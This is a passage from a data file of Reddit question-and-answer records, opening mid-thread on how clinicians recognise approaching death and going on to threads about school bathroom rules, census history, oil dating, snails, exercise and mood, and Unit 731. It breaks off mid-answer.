hospitalizations correlates with worse prognosis.\n\nThese are only some of the basic assessment tools we have and is by no means comprehensive.  Despite using these tools however, no one can accurately predict when someone is going to die. Frequently, patients prove doctors wrong and live longer (or shorter) than estimated.\n\nIn terms of imminent death (let's say from a range process like you asked such as aging), there are a few things that we look at.\n- Appetite (decreases as we age)\n- Apnea (slow shallow breathing)\n- Heart rate (typically goes faster as we become more dehydrated, older, or are closer to death before it finally stops)\n- Mental status (this is the big one) - near the end, we no longer are alert.  Patients become lethargic (Very sleepy), difficult to arouse, don't quite follow commands\n- Vitals (low blood pressure, low oxygen saturations, low temperature/hypothermia, fast heart rate)\n- Decreased response to pain stimuli (i.e. pinching fingers and the patient doesn't flinch)\n- Skin changes (no longer warm, appears mottled)\nWhen we see these above changes, patients can be expected to pass typically within hours to days (this is an estimate). At best, patients have days to a week.  If you think about it, the longest you can live without drinking any water is a few days as most.\n\nThe more difficult estimate is for patients who are not imminently dying who are in the realm of weeks, to months, to years.  And this is where the tools listed above help to stratify expected prognosis.\n\nTo put this in an example:\nAn 80 year old comes in with a severe pneumonia.  Vitals are poor and the patient has an altered mentations.  For a patient like this, prognosis is typically very poor.  Their immediate prognosis is likely in the realm of hours to days depending on response to treatment.  Sometimes however, they respond to antibiotics and other treatments and recover.  So this 80 year old responds to treatment and recovers over the course of a week. Prognosis now changes.\n\nWe look at our other comorbidities to assess prognosis now.  Does this patient have Dementia?  Heart failure?  Diabetes?  History of stroke?  How many times have they been hospitalized within the last 6 months?  Was their Karnofsky scale good?  Depending on these, the patient's prognosis can change from days to weeks, months, or even years.\n\nAs physicians we typically do not give exact dates because that's impossible to predict.  We emphasize to our patients that these are estimates and the best we can do is provide ranges however not ranges in what you expect.  We do not say \"you have 3-6 months\" but mores in the realm of \"weeks to months\" or \"months to years\".  We also emphasize that the duration can be shorter or longer.  It is important to tell our patients these because it allows them to make appropriate plans.\n\nThe best people to prognosticate really are palliative care physicians as they deal with end of life care on a daily basis.\n\nI hope this was helpful to anyone who reads it!", "While the obituary will probably say they died of old age, generally dying of old age is simply one of the many degraded systems failing. Say an elderly person gets pneumonia and is dying, the doctor can predict death is oncoming due to key measures of the respiratory system falling below certain values. In this case the person probably contracted pneumonia due to old age degrading the immune system and also being less effective in fighting off the illness. All other factors being the same they would have a much greater chance of either not contracting an illness or successfully fighting it off at a younger age. \n", "This isn't a very 5-year old esque question, but there's a few considerations: \n\nPeople don't die of old age. At least, not from our standpoint. There's always something (e.g heart failure, kidney failure , etc) that can at least be blamed instead. \n\nSomeone who is terminal and close to death is usually because the options to fruitlessly prolong their lives are decided against (ventilators etc). You can keep someone technically alive for a long time, but when you stop pulling out all the stops on someone in multiple organ failure, or is unable to maintain their own airway, it is inevitable that they will die- even within the hour sometimes. ", "Not a medical profession. But I can answer this a bit, my grandfather just died within 24hours of today. We saw him breathing heavily and shaking his bed everytime he breathed. Which was abnormal, before he would take pained breaths but not as intense as that day.\n\nNext was that he lost his appetite and wouldn't eat anything. Hours before, he ate a bit of congeee (porridge) but now he rejected it and then finally once the doctors gave a shot to him. I still don't know what they gave him, but he started overheating and his heartrate went up very fast then slowly lowered to dangerous levels and his breathing rate became slower and slower.\n\nHis hands started to turn pale as sheet of paper as he slowly stopped breathing. His breathing interval became 5 seconds between to 10 and scared my grandma everytime, thinking it was his last. Til the doctors took off all the machines off of him.\n\nHe had a DNR, so the doctors didn't try anything during his final moments.\n\n/edit forgot to mention as I look through the comments. His mouth looked blue and bruised when he was nearing.", "Sorry for this short novel! It was very therapeutic for me to tell my story though!! Thanks OP for giving me the outlet to do so!!\n\nI\u2019m a nursing student but wanted to contribute my personal experience with caring for my 77 year old Mammaw in her end stage of life just a month ago. \n\nMy grandma had lung cancer that aggressively metastasized  to her pancreas and shortly after to her brain. The lesion on her brain caused her to be delusional and have hallucinations from time to time; these were quite scary and dramatic. She came home under Hospice care on Monday. She was alert and still eating/drinking, able to walk to bathroom, even go out and smoke (I know it\u2019s sad but she was already dying and she enjoyed her coffee and cigarettes). I was unable to go over until that Friday. \n\nWhen I arrived, she was alert and oriented although very sleepy. She talked about seeing her Mother and Sister that had already passed. She had asked the visiting nurse how would she know when it was time to \u2018let go\u2019 (very heart wrenching moment). She had previously said she wanted all her family by her side and that she never wanted to be left alone; we made sure this request was fulfilled. \n\nBy Saturday morning, she was rapidly declining - could barely talk most of the time, only wake for minutes at a time, and her skin felt clammy all the time. She did ask for biscuits and gravy but was unable to eat/swallow any. This continued on into the night. \n\nSunday morning, she was totally unconscious from here on out. I believe she did have some moments of being alert but unable to open her eyes, although she would peek at us, and couldn\u2019t move her mouth to speak but would respond to our talking to her by moving her tongue like she was trying to form the words. I started noticing a smell that is hard to describe but my aunts couldn\u2019t. This smell got worse gradually to the end. Also, there was no more voiding. Her stomach started to get swollen and extremely bloated.  \n\nWe stayed by her side. It was such a helpless feeling. Although I would not have ever wanted to be anywhere other than by my Mammaw\u2019s side, I wouldn\u2019t wish that whole process on my worst enemy. It was horrible!! We took her blood pressure probably every 15-20 minutes because it was like the only thing that we could do. The nurses would tell us there is no need to do it but we still did until the last day. In hindsight it was silly and pointless. \n\nMonday, her feet started getting cold first. Halfway through the day, she began what is known as the \u201cdeath rattle\u201d. Her legs started mottling (like spider-webby). Then her hands then got cold. Then, around 10pm that evening she started running a fever of 102.4. This was so strange because you normally feel someone head to gage this but it didn\u2019t seem warm even, although more clammy. We had the nurse come because we weren\u2019t sure what this meant. The nurse calmly told us to call any loved ones that would want to be there because she didn\u2019t have long. She said that it will continue to rise until she passes and she was correct. The last time we had checked her temp it was 107.6!!! I couldn\u2019t believe that she was still hanging on.\n\nAt around 6:20 on Tuesday morning, her breathing changed. She was taking deeper breaths but they were abdominal. She did this for about 15 mins and then slowed to very shallow breaths. She weakly gasped once and then did the \u201cfish out of water\u201d mouth movements but no intake 3x and that was it. She passed surrounded by the people she loved most and that loved her even more at 7:48am on July 24th, 2018. God I miss my Mammaw!!\n\nOne thing happened directly after that no one prepared us for. Right after doing the fish mouth movements her head tilted to the side and her tongue kind of hung out (which I would guess is normal) but she then vomited this black liquid that just smelt of death. That was horrifying to me for some reason and I wish that I had prepared for that. ", "\u201cOld age\u201d and \u201cnatural death\u201d are just vague words used by doctors to console grieving people. Typically, what I\u2019ve seen in my experience, it\u2019s seizures and strokes that kill the elderly. Alzheimer\u2019s at the very end gives you seizures, so when those start coming the doctors know it\u2019s time. Stroke victims at the end begin having more and more strokes, and at a certain point when the frequency of damage has reached a certain point the doctors know it\u2019s time to call everyone in to say goodbye.  \n\nI hear stories of shitty hospice and shitty old folks homes where older folks die of infection. It\u2019s really sad, but the reason cats are forbidden at most old folks homes are because their claws and bites almost always lead to infections with older folks... but I digress, a bad infection can kill someone very fast.   \n\nHeart failure typically happens so fast that no one has the chance to say goodbye. The chance of making it to 80 and then dying of heart failure are low tho, you have a higher chance of having a heart attack between 25-60 than you do 61-110.\n\nI might have given some wrong info, I only know stuff I\u2019ve experience first hand with the deaths of family. Gpa has Alzheimer\u2019s, gma severe dementia, other grandpa died of heat failure before I was 5. ", "My grandma went to the ER (she was 93). My mom showed up and the doctor told her to say her goodbyes because she was dying.  Wouldn't you know she died just about 15 minutes later.\n\nShe wasn't rushed in because she had stopped breathing or had a heart attack.  It was a fairly regular occurrence for her to go to the ER a couple times a year due to some problems she had with a med that she had to have.\n\nShe didn't look that sick. Talking and everything. But this doctor called it.", "Internal medicine physician with engineering background and combined critical care/general medicine experience:\n\n*The following is aimed at giving the mathematically advanced five-year old an idea of how medical professionals can sometimes tell the months-to-years degree of how long someone might have before old age or long-standing disease is apt to catch up with them.*\n\nLife expectancy (years) = \\[(100-age) + (# available caregivers)\\] / \\[(7 \\* number of failed/failing organs) + (# doctors visits in last year / 10) + (# days consecutively in hospital / 5) + 1\\]", "Nurse at a community health centre and previous experience in long term care.\n\nIn Ontario, Canada we have something called the Palliative Performance Scale or PPS for short. The scale goes from 100% to 0%, with 0% being actual death.\n\nThe scale describes stages of of a palliative person in terms of ambulation (walking), activity level, self care, intake (eating and drinking), and conscious level (alert, confused, drowsy). It gives you an idea of what % the patient is and approximate length of time until death. However, it is not an absolute measure as people can move up and down the scale depending on their individual circumstances.\n\nIf you google search PPS score you will see a number of variations of the scale, some which include the estimate of time until death", "EMT here. Not sure if this answers your question but I see it frequently.\nPatients know. One of the first things they taught us is this, if your patient tells you they\u2019re gonna die, believe them.\nA lot of elderly patients will let you know just so they can get one last goodbye in. We got called to one lady, she told us this, but refused to go to the hospital because her son wasn\u2019t there. When he got there and she said her goodbyes, we got called back out to take her to the hospital. She died less than two hours later.\nSo yes, some people are drama queens, but when someone tells you this, please believe them.", "My grandmother died in my arms. I had cared for her for the last few weeks of her life, and her final days were horrible - she was in so much pain and screamed and cried most of her last day. I'll never forget walking into the room during a break between the screaming. I said \"Hello there, pretty lady!\" She looked up at me and smiled. Her eyes were this brilliant electric blue - sometimes when people have blue or green eyes, their eyes get brighter and more intense-colored when they cry. It was her last lucid moment - she fell asleep after that as the pain medication finally took hold and for the next several hours was unconscious. Somehow I knew she could still hear us. The family gathered around her and we said our goodbyes and told her how much we loved her. She had always liked to hear me sing and would come to my choir recitals often, so as her pulse slowed down and her breathing stopped, I sang to her. I remember in her final hours, there was a definite change in her pallor and she made these odd, fluttery noises as she exhaled. My mom was a respiratory therapist and was able to tell us it would not be long at that point.\n\nIt was the most powerful, profound experience of my life. Scary and terrible and beautiful. I didn't feel that way again until my son was born fifteen years later, and that was when I knew that death and birth are the same door (caveat - that's my own spiritual belief, not prescribing for anyone else who feels differently!) But it gave me comfort.", "I'm just a lowly intern, but many patients that died in my rotations had very weak blood pressure and heart beat. That's how you knew they were going to die that day/night.", "Most common cause of death... Congestive heart failure. Your heart isn't strong enough to clear the fluid from your lungs. They can hear that.", "Quitting the world (blank soulless stare, no social interaction.) Alternatively, fearfully hallucinating and perceiving scary things that aren\u2019t there (delirium.)\n\nNot doing things that you need to survive (not eating or drinking)\n\nBasic body functions not working (not peeing or pooping properly, abnormal breathing)\n\nVisually looks like they\u2019re almost dead (pasty pale grey skin, blueness where there should be pinkness", "Old age isn't really a cause of death, Typically the cause of death is something like system failure. The reason we call it old age is because it's normal for cells to die and get weaker as an organism gets older. Eventually something important gives out. You can't necessarily predict what (though you can make some educated guesses) so it's not like you know whether their lungs or heart or whatever is going to stop working first. \n\nBut you can likely tell that things are starting to fail, based on their condition, as they get weaker and need more support and things like that to stay functional.\n\nEven still, it's not like you know for sure. Maybe this time they will actually get better, maybe not. Some diseases have higher rates of fatality at older ages due to the existing weaknesses in the body.", "A lot of the responses here point to signs that patient is \"circling the drain.\" And they're correct. So I want to answer from a different direction...\n\nWhen A doctor says you have X months, or however he wants to word it, what he means is \"patients in your similar situation/diagnosis/stage/severity in the past have survived an average of X long.\"", "Dad died about 2 1/2 years ago at 91.  \nHe had OCD and everyday convinced he had something terminal.  He saw a pimple and thought it was cancer.  The guy really never had any health issues.  At 91, he didnt even have gray hair.    I watched him at night after caregivers left for the day.  I heard something strange one night and went out to find him on the kitchen floor.  He was wandering around and a bit delirious then fell.  I got him to bed and it sounded like he had a rattle when he breathed.  Took him to the doctor and they said he had pneumonia.  They kept him at the hospital.  I thought no big deal, Dad always came back from things like these.  A couple days later, the Doc said he needed to go to hospice.   The Doc told my Dad he didnt have long and for the first time, my Dad was at peace.  It was like someone finally confirmed he was going to die after hes been telling everyone for years.  The day before he passed, he would stare at a chair in his room and kept asking who that man was.  nobody there.  He then went to a point where he couldnt respond, take food, etc.  then quietly passed.  The one thing that sticks in my mind is his arms were so swollen from fluids that he couldnt process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://news.northwestern.edu/stories/2015/01/family-voices-and-stories-speed-coma-recovery"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://camapcanada.ca/PPS_Scale_Tool.pdf"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "253as5", "title": "how can teachers (legally) deny you the right to go to the bathroom (in the us)", "selftext": "Excuse any errors if there are any, English isn't my first language. After I moved to the US, I was shocked in school when a teacher denied a student the right to go to the bathroom. \n\nIn the US, doesn't this violate your human rights of some sort? You don't make a dog ask for permission but you make a child do? Doesn't this violate the OSHA regulations?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/253as5/eli5_how_can_teachers_legally_deny_you_the_right/", "answers": {"a_id": ["chd90ch", "chd92lb", "chd95du", "chd95i4", "chd95pv", "chd9iar", "chda3on", "chdfrd0", "chdguoj"], "score": [9, 4, 17, 3, 2, 6, 3, 9, 3], "text": ["It's not as though teachers forbid children from going to the bathroom *ever*. In most cases, students are forbidden at specific moments to avoid disruption. In addition, there are clearly defined periods of time in which students are completely free to use the facilities as they need. Finally, if a student is having a real emergency, I've never seen them actually get denied; all they have to do is ask enough, and the teacher will usually cave. The kids aren't endangered in any way by this practice.", "OSHA doesn't regulate schools. The Occupational Safety and Health Administration is to make sure that workers don't get sick/hurt on the job. \n\nIt does technically violate human rights, but most teachers get away with it because most students just accept it as a common place of the school system. ", "Generally teachers do not refuse students a trip to the bathroom.\n\nYou are really only made to ask to demonstrate that you can't exit the classroom without the teacher's permission. Its an authority lesson more than anything else. ", "First off, OSHA is the Occupational Safety and Health Administration and therefore doesn't apply to school students.\n\nI'm guessing you aren't telling us the whole story here. If that student couldn't make the case that they absolutely needed to go to the bathroom, they probably didn't have to go that bad. Students can't just leave the class whenever they feel like it; teachers are generally lenient with bathroom breaks but if the privilege is being abused, the privilege can be rescinded. If there was an incident where that student was really being prevented from using the bathroom, there would have been an issue, but since their wasn't, I'm guessing it wasn't a big deal.", "You do realize students are not locked in a classroom for 8 hours unable to move or go to the bathroom. They're going to have short periods in between classes to go to the bathroom, get books, and walk to class. \n\nThe teacher just isn't going to let the students be disruptive by always getting up to go. ", "Ugh, as a teacher I am so sick of this coming up. It always turns into \"my teacher is such an asshole, they wouldn't let me go to the bathroom.\" If I am suppose to allow every request that someone makes to go to the bathroom then that means that a student could spend every single class in the bathroom or more likely wandering the halls. Generally, in my classroom for younger kids I plan specific times for the whole class to go. I establish this routine early in the year so my students know. This means I can monitor all my students and not be concerned someone is wandering the hall by themselves. I would never deny a student if I felt it was a legitimate emergency. For older students there is plenty of time to go in between classes and at lunch. Once again I would never deny a student if I felt it was a necessary bathroom trip. ", "That's like saying not letting a student order a pizza is denying them the right to eat.\n\nStudents are afforded ample opportunity to go to the restroom during class breaks, and barring a medical condition, making them wait a few extra minutes does not represent a serious inconvenience.", "Legally, you can get up and walk out of the room and go to the bathroom whenever you want. Something you learn later in life is something I'll always remember from Achewood many years ago: being in trouble is a fake idea.", "A lot of the time, especially in classes with less-than-enthusiastic students, they use \"bathroom breaks\" as excuses to leave class. In a rather vain effort to stop this, sometimes a teacher will say no."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "5q0h2t", "title": "Racial Cleansing in Ohio, 1920s-30s", "selftext": "I am in a class that is researching potential racial cleansings. In Putnam County, Ohio in 1920, the US census data indicates there were 28 African Americans taking up residence. By 1930 only 1 African American remained in the entire county, again based on US census data. SO...did something happen in Putnam County in the 1920s that forced almost all of the African Americans to leave?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5q0h2t/racial_cleansing_in_ohio_1920s30s/", "answers": {"a_id": ["dcvbo9l", "dcvbp8j", "dcvk66d"], "score": [7, 5, 7], "text": ["I personally can't find anything in a few minutes of searching, but I did find a way to [contact](_URL_0_) the Putnam County Historical Society. Perhaps you should give them a call.", "Try asking for the microfiche of the newspapers from this period at the largest public library in the country. If no one here can answer this very local question, original research may be your best bet.", "It could be that those other 27 Black Putnamians picked up and left town during the Great Migration, the first part of which lasted from the 1910s through the Great Depression. Over a million African Americans moved north or west during this period (See James Gregory's \"The Second Great Migration,\" in *African American Urban History*, ed. Joe Trotter et al.) Migrants relocated for a variety of reasons: to escape the daily oppression of the Jim Crow South, to earn relatively attractive industrial wages, and to remain employed following widespread agricultural mechanization in the midst a declining farm economy. Of course, life in urban America imposed its own forms of oppression. Residential segregation shunted most Blacks to the parts of town you probably wouldn't voluntarily visit throughout this period, and employment discrimination often confined them to the most dangerous or menial jobs. This demographic shift stalled during the nationwide Depression but picked up again after World War II until deindustrialization and other factors converged to tarnish the image of American cities for a generation. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://userpages.bright.net/~pchs/contact.html"], [], []]}
{"q_id": "ij00o", "title": "A question about oil and drilling: Over the last century of drilling, have there been any unusual discoveries made by drilling rigs? Such as organic or inorganic prehistoric artifacts. Also, can oil be carbon dated? How old is the crude we pump out of the ground?", "selftext": "I've googled, but found nothing interesting. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ij00o/a_question_about_oil_and_drilling_over_the_last/", "answers": {"a_id": ["c244z7w", "c2450sk"], "score": [44, 22], "text": ["If an artifact is in the way of a drilling tool or pipeline, it will be utterly destroyed.  The drill drills through rock; an artifact is not going to stop it.\n\nThis is why (if you're in the US) your State Historic Preservation Office (SHPO) is so important.  They go by different names in different states, but the upshot's the same.  Essentially, before an oil project (or most other types of construction) can go on, the company needs to get in touch with the SHPO.  They check some maps and see if there's a high likelihood that there's archaeological material in the project zone.  Most of the time, they tell the oil company they need to do a survey first.\n\nSo the oil company hires an archaeological company (they can't do it themselves) to go out and survey the land or water where they intend to work.  The company files a report with the state, and if there are issues, the state and oil company work to mitigate them somehow.  This can take a few forms, among which are moving the project or doing archaeology there before the project is done.\n\nSo while I'm unaware of any artifacts being discovered during the actual drilling process, there have been many sites (and shipwrecks!) discovered during the review process in the pre-drilling phase.", "I'm not a petroleum geologist so I'll leave the first question to others, except to ask what sort of discoveries are you imagining?\n\nRegarding the age of oil. Oil cannot be dated using radiocarbon; all oil is older that the maximum age we can determine using carbon-14 (no more than 100,000 yrs).\n\nSpecific oil fields host oils of different ages. Asking the age of oil is a little tricky, but usually one refers to the age of the source rocks (material from which the oil was originally cooked), although sometimes people refer to the host rocks (where migrating oil ends up). The ages of these two rocks is usually different. Estimates can be made of when the oil was cooked from the rock by considering how deeply the source rocks were buried and what the temperature gradient is in the area. Oil is produced when the conditions are right for [cracking the organic material in the source rocks](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Petroleum#Formation"]]}
{"q_id": "crgynr", "title": "Where can I read first hand accounts of life from historic periods?", "selftext": "So I recently read John Evelyn\u2019s first hand account of the great fire of London in 1666 and it was a really awesome window into what it was like to be someone just living and thinking at that time. It really showed me how little has changed with humans since that point in history. Anyway, the account really piqued my interest and I\u2019m cute curious as where\u2019s one could find other similar first hand accounts throughout history such as that one? I really enjoy history but often reading about it gives off this detached feeling as opposed to feeling almost like you are really there the way Evelyn\u2019s account does. I appreciate any advice given, thank you in advance", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/crgynr/where_can_i_read_first_hand_accounts_of_life_from/", "answers": {"a_id": ["ex5da02", "ex5lbmx", "ex8zn95"], "score": [8, 5, 2], "text": ["One source are oral histories that are available online. They contain transcripts and sometimes the actual audio of someone reminiscing about life in a particular era. \n\nBerkeley and UK are 2 examples, but there are many more based in universities that are findable by Google: [_URL_1_](_URL_1_) and [_URL_0_](_URL_0_)", "Samuel Pepys kept a diary around the same time (1660's) which gives a first hand account of the plague, the fire and general life. Though if you've read John Evelyn you may already be familiar with Pepys.", "I really appreciate all the input, thank you all very much! You've given me some great sources to check out, I can't wait to get started"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://libraries.uky.edu/nunncenter", "http://www.lib.berkeley.edu/libraries/bancroft-library/oral-history-center"], [], []]}
{"q_id": "r8upb", "title": "Can snails move backwards? I can't find a reputable source to say they can't, but by how they move, surely they wouldn't be able to reverse?", "selftext": "I've done some goggling which only led me to gardening forum posts, not the most reliable.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r8upb/can_snails_move_backwards_i_cant_find_a_reputable/", "answers": {"a_id": ["c43wjkn", "c43wkbe", "c43wnvq", "c440x8t"], "score": [2, 42, 7, 2], "text": ["What makes you think they can't move backwards?\n", "I'm not sure where you were goggling, [but this is the top result on Google](_URL_0_) that I get for the question \"Can Snails Move Backwards?\". \n\nIt's quite in depth, and actually very interesting!", "As someone who used to spend every waking moment in the garden collecting snails and putting them in a shoebox, I've certainly never seen a snail move backwards and their anatomy leads me to believe that they most likely can't; they have to do a u turn instead.\n\nSnails use rippling and successive waves of muscle contractions that travel from tail to head to move forwards, illustrated quite well by this video (_URL_0_). This is because they pick up their tail and then place it almost imperceptibly forward a bit more, causing a propagating wave that results in a teeny bit of forward progress when it has reached the head end.\n\nThe way a snail's muscle contracts and the definite direction in which the contractile wave moves, would lead me to believe that it can't reverse with those same mechanisms, so it can't do it at all. However, I will admit that I'm no gastropod expert and the literature isn't all that bountiful as far as I can google!", "Musculature-wise, I can see no reason why a snail would be unable to go in reverse.  However, they may not have the neurological capacity to move their foot in the proper way.  I've never actually seen one crawl backwards."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://sciencefocus.com/qa/can-snails-go-backwards"], ["http://www.youtube.com/watch?v=biclA1WM6_E"], []]}
{"q_id": "ba3aec", "title": "does working out boost your mood? if so, how?", "selftext": "I've always read that working out or doing any sort of strenuous physical activity makes you feel better. And I've found it true for the past year I've been working out. But this could be placebo and I want to make sure it does.\n\nOn the other end, I have a friend who does similar training as me, but for her it results in depressive bouts. I'm curious as to how either of these phenomenon take place. \n\nThanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ba3aec/eli5_does_working_out_boost_your_mood_if_so_how/", "answers": {"a_id": ["ek8ox64", "ek8peqh", "ek8qwl5"], "score": [6, 3, 3], "text": ["What kind of training is this that gives your friend depressive bouts? Also, do these depressive moods come immediately after, or during off days, etc?\n\nAn overly simplified answer is that exercise 1) releases hormones that make you feel good, 2) increases blood flow and lymphatic flow, which helps remove toxins and provide every part of your body with what it needs, 3) releases stress hormones that have built up from stress, anger, sadness, etc., 4) gives your body focus and purpose, which gives you satisfaction and confidence while letting your brain get away from over-thinking, and 5) trains your brain to do all of these things more efficiently and want to do these things more.\n\nMy guess for the depressive bouts of this other person, and this is really just a guess, is that they could either be so overwhelmed with life and feelings that the release from exercise is too drastic, or that it amplifies the lack of these good feelings while not working out. Maybe lesser but more frequent exercise would be beneficial.", "Exercise releases endorphins that stimulate the brain.  Perhaps her exercise routine is so frequent her body doesn't recover fully and she us in a constant state of fatigue.  My routine includes a type of exercise (I throw it in the rotation the odd time) that leaves me completely wiped such that me sleep suffers, which ain't good.  On the other hand, if I don't go to the gym for a week or so, I can get depressed and/or grumpy.", "Working out doesn't just stimulate your muscles but also your hormones and other systems within your body. For example, exercises like squats can boost your testosterone if you are a guy. This will affect your overall mood and health. Better health will also make you feel physically better (less fatigue, less pain) which can also translate to improved mood."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "67sg5i", "title": "when watching wildlife documentaries, you see the prey give up almost straight away after a predetor has captured it. most don't even put up a fight. why is that? why do animals accept death so easily?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/67sg5i/eli5_when_watching_wildlife_documentaries_you_see/", "answers": {"a_id": ["dgsvosv", "dgsybq1", "dgue6lk"], "score": [15, 17, 2], "text": ["A lot of animals do fight back. The opossum actually plays dead. Extra stress causes them to pass out. The drooling swaying and hissing is to convince the predator it is sick. When the predator grabs it, the opossum passes out. The predator is shocked it won't fight back and then thinks, \"I probably shouldn't eat this. It's going to hurt me. This animal is not acting right, it probably is sick.\" So they drop it....Then the opossum wakes up a few hours later...alive. Maybe slightly banged up or bitten, but it can run off and continue living.\n\nThey don't get sick often or get rabies. It's all an act to keep them from being someone's lunch.\n\nThis defense mechanism is not common. Most DO struggle and fight back.", "Animals do fight back, but in a lot of cases the pain is excruciating and disabling.  A lot of predators can break bones / the spine of their prey, and massive loss of blood from a large wound or internal bleeding can cause loss of consciousness quite fast.\n\nIn addition, documentaries often cut out the \"boring\" parts of an extended chase, and just show the end results, but what you're seeing is an animal that is completely exhausted after an adrenaline-fueled run where they pushed their bodies past any limits to try to survive.", "When watching nature documentaries they usually show the 'coolest' scenes of a hunt. Sometimes animals get captured and will fight for minutes, but it is generally boring to see. Also animals give up when they run out of energy to fight back, if they had the energy to do so they would keep struggling if they could."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2u3ur4", "title": "how can strongmen pull planes/trains with only a rope, sometimes with teeth, even though the objects weigh numerous ton(ne)s?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2u3ur4/eli5_how_can_strongmen_pull_planestrains_with/", "answers": {"a_id": ["co4v1s2", "co5be4x"], "score": [19, 2], "text": ["Well, they're *pulling* the weight: not lifting it.  They only have to overcome the static friction in order to get the object moving, then once it is moving they just need enough force to keep it moving.  [Here](_URL_0_) is a website with an example of how much easier pulling is than lifting: a 1500 kg (3300 lb) car can be pulled with approximately 441 N of force (i.e. the force needed to lift a 45 kg/90 lb weight).", "On level ground, the problem is not the weight, it's the mass.\nThe weight is relevant only in how it affects both the static and rolling resistance. If these could be effectively eliminated (\"perfect\" bearings, etc) then even a very heavy weight could potentially be moved with a thread - albeit very slowly.\nThe real issue is: how rapidly can the strongman cause the large mass to accelerate? Overcoming the inertia of the mass is the true challenge."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=0xpuub2DBB8"], "answers_urls": [["http://www.engineeringtoolbox.com/rolling-friction-resistance-d_1303.html"], []]}
{"q_id": "3e0q5w", "title": "Why did the jeweler tell me that my ring will feel smaller in the summer and bigger in the winter? How can this be if metal expands when warm and the opposite when cold?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3e0q5w/why_did_the_jeweler_tell_me_that_my_ring_will/", "answers": {"a_id": ["ctak7us"], "score": [14], "text": ["Metal does expand when warm and contract when cold.  However, in this case, the more important part is that your fingers also expand and contract - and fingers grow/shrink much more than the ring will.  \n  \nedit:  A couple of people have posted comments about the ring expanding inwards.  This is actually [not the case](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askscience/comments/185815/if_i_heat_a_metal_ring_will_it_become_tighter_or/?ref=share&amp;ref_source=link"]]}
{"q_id": "1xd0yz", "title": "Why did the US give immunity to Japanese scientists from Unit 731 and not the Nazi scientists who performed similar experiments on people?", "selftext": "Wiki says the US even called Russian prosecution of the scientists \"communist propaganda\".", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1xd0yz/why_did_the_us_give_immunity_to_japanese/", "answers": {"a_id": ["cfabcya", "cfac06o", "cfad95m", "cfapd1o", "cfau685"], "score": [86, 10, 74, 15, 5], "text": ["\nI can suggest \"Year Zero: A History of 1945\" by Ian Buruma\n\nIt doesn't really go into deep detail about this particular issue, but it really helps put your question into context There was no guidebook for the post-war period. No one had ever seen anything like this before. The issue doesn't make sense today, but it didn't happen today either. Check it out.\n\n", "I suppose I'm wondering whether there was some specific information from Unit 731 that the US was after that made them so much more valuable, and if so how was it used?", "Guys, this is the third thread-level reminder I've had to put out today. C'mon now, you know better :)\n\n* **While sources are not required in a top-level comment, they are heavily encouraged.** \n\n* **While brevity is the soul of wit, a choppy answer helps no one.** If you're posting no more than one or two sentences to the OP's question, please don't answer. [We have standards that we do not hesitate to enforce](_URL_0_) here - so please, be considerate to other posters :)\n\n* **Remember the original question.** \n\n* **Please don't speculate**. If you don't know the answer, or otherwise aren't willing to follow the standards that I linked above, then again...please, just upvote the question and keep an eye on it. Someone will come :)\n\n* **If all you can offer is a link to Wikipedia, please do not post.**\n\n* **Racism is unacceptable here. Similarly, civility is mandatory.**\n\n* **If you do not know the answer, then please do not post.**\n\n* **If you've heard a story once and think that it belongs here, I'll give you a tip - it doesn't :) Your answer will get deleted.**\n\nThanks again!", "There's a famous book I read some years ago entitled something like *Race and War in the Pacific*.  One of the authors main points was that because of how the Americans viewed the Japanese as a racial \"Other\", the Japanese leadership and population was implicitly and explicitly held to a different moral and behavioral standard than were the Germans.   \n\nIn essence, the Allies were more genuinely shocked and outraged by German atrocities because the Germans were fellow white Christians, and were therefore expected to know better.  Whereas in the case of the Japanese, they were a bunch of Asiatic savages who were merely reveling there pretenses to civilization. \n\nObviously, there are a fricking boatload of deeply racist assumptions behind this line of reasoning that far better scholars than I have spent the last 70 years trying to unpack and understand. ", "Hey there, I recently finished reading \"The Devil's doctors\" which covers the major medical atrocities committed by the Japanese, including ones in Papua New Guinea, Mukden and committed by Shiro Ishii.\n\nJapanese doctors involved in such activities were explicitly told to leave, and burn documents as they left, along with trying to kill as many survivors as they could. In the end, only 30 or so were 'officially' tried, and the ones sentenced to hang didn't, and all of them were eventually released in 1958(?) due to American troubles in the Korean peninsula. \n\nThe Japanese doctors were not so much given immunity, as that they were not charged, and the people involved were able to be useful to the US. There are some dubious issues regarding classified documents that the US gave back to Japan that contained evidence of these medical experiments, but it is hearsay. \n\nThe actual experiments being done, apart from the ones with Shiro Ishii were mainly regarding infection rates, 